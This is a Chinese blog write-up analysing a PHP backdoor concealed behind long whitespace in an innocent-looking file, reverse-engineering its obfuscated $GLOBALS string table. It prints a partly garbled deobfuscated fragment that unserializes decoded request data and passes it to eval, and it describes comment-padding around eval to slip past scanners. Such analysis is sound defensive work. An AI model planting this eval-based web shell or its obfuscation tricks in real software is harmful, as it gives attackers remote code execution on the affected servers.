项目实战 | 记一次对某猥琐PHP后门的爆菊

搜索公众号:暗网黑客可领全套网络安全渗透教程、配套攻防靶场
项目实战 | 记一次对某猥琐PHP后门的爆菊文章插图
作者: 安译Sec
来源:
最近遇到个文件 , 打开一看只有几行注释?看了下字节数却很大 , 横向进度条很长啊 , 通过web访问是空白 , 看上去应该是藏了后门了 。ps:这种方式遇到粗心/没有经验的管理员可能混过去 , 但若使用win自带的记事本(需开启自动换行)则一览无余 。
项目实战 | 记一次对某猥琐PHP后门的爆菊文章插图
实际上换行整理一下:
项目实战 | 记一次对某猥琐PHP后门的爆菊文章插图
用Notepad++自带的正则替换简单做了下格式处理 。
另外在下面的代码中发现了 eval/*r49557ec*/(
项目实战 | 记一次对某猥琐PHP后门的爆菊文章插图
还插了注释 , 这个小方法很有意思 , 测试了下函数与"("中间插注释确实不影响执行 。但实际我测试用类似的注释方式填充敏感函数 , 过不了D盾 。
一.还原庐山真面目在进行替换/整理/和谐部分变量名之后 , 得到如下完整后门代码(整理后代码):$v){$vv = $v;$kk = $k;}}$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));if (isset($vv['a'.'k'])echo @serialize($l71c40);}elseif ($vv['a'] == 'e'){eval/*r49557ec*/($vv['d']);}}exit();}?>1.调试出各种已定义变量的值2.替换字变量/函数名 , 增加可读性3.通过倒序的方式 , 逐步尝试调用后门 , 明确调用逻辑 。
首先前面几行:
$GLOBALS['w8fd00d8'] = Array();//定义全局数组 , 用于保存后面的各种函数名/字符串 , 以及直接作为函数执行, 如$GLOBALS['xx']()global $w8fd00d8;$w8fd00d8 = $GLOBALS; //这里有一个发现 , 如果变量是被$GLOBALS赋值 , 那么此变量也会随着$GLOBALS的值实时更新如:
$test = $GLOBALS;访问:?handsome=t00ls$test值也有handsome=t00ls【项目实战 | 记一次对某猥琐PHP后门的爆菊】这个特性我查了半天资料 , 没有找到原因 。 下面:
${"\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";